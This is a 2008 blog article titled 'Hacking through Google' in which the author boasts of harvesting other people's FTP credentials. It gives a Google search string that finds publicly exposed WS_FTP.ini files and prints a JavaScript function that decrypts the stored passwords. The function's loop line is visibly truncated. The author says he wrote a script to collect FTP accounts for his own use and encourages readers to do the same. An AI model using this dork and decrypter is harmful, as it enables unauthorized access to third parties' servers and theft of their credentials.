Articles/OpinionBusiness/EconomyCityCultureCurrent AffairsEducationEntertainmentFoodHealth/FitnessIn PicturesLifestylePeoplePoetryPoliticsReligionSportsTechnologyWomenWorld

Subscribe to our RSS Feed

Hacking through Google

Category: Technology
Written by: Azeem yaseen (on January 01, 2008 - 12:10 AM)

E-Mail Article to a Friend

Quite recently i was wondering to install an ftp server on my box.(Windows one) i got it downloaded from the website and was using it without any problem.Then all of the sudden i acciedently opened up the folder of WS_FTP and got a look on WS_FTP.ini file. It's where all the usernames and passwords of the ftp sites you connect are stored, wow!

This made me curious what if some one have shared his WS_FTP.ini File! Could be ! Fire up the browser and asked google if is there any fool around! ;) With dork inurl:WS_FTP filetype:ini guess what i got 100's of results!!

I Downloaded their WS_FTP.ini file and then i had all the accounts with FTP usernames and hosts! i now had to decrypt the PASSWORDs. The next platform was Securityfocus.com! Did a search on it and found that WS_FTP have a loosy way of storing password which lead me to a java script

 

!--  
// ************ CODE WSFTP ***************************
function cogecifrado(str) {
if (str.indexOf('PWD=', 0) == -1 ||
str.length-37<0)
alert("You should Include :'PWD='");

else {
passw=str.substring(37,str.length);
for (var i = 0; i
{
var caracter=passw.substring(i*2,i*2+2);
var sal=str.substring(5+i,6+i);
var claro=parseInt("0x"+caracter) -i -1 - ((47+parseInt("0x"+sal))%57);
document.form1.text2.value=document.form1.text2.value+String.fromCharCode(claro);
}
}
}
// -->
// ********* WS FTP Password Decrypter ***********
 
Make a form and do a call to cogecifrado(str) would decrypt the password and place the value in text2 of form1
Great! We have 100's of people sharing there WS_FTP . I wrote a small script in C# For my personal use to get 
some ftp accounts via this technique !! Peace :D
Happy Google hacking ! and a new year! 

 

Be the first one to post a Talk-Back on this article.

Share your thoughts by posting a Talk-Back:

Name:
Email:
Url: (optional)
Comments:

Email:
Password:
New User? Register Now!

 Women in Islam: A comparison by a convert
 EarthQuake
 Some tips for better web designing
 Abdul Razzaq speaks out: Lawson was only a dummy coach
 PTV MD, Dr. Shahid Masood, may be shown the door
 Karo-Kari System Iin Pakistan
 Put Your Mouth Where Your Money Is
 Free Domain 100%
 Tour to Kaghan valley
 To Karzai From Pakistan: ‘Put Up Or Shut Up’


 


[PakMarkaz.Net v1.1] 1 user(s) online, Page generated in 0.025 seconds.
Copyrights © 2008 PakMarkaz.Net. All Rights Reserved.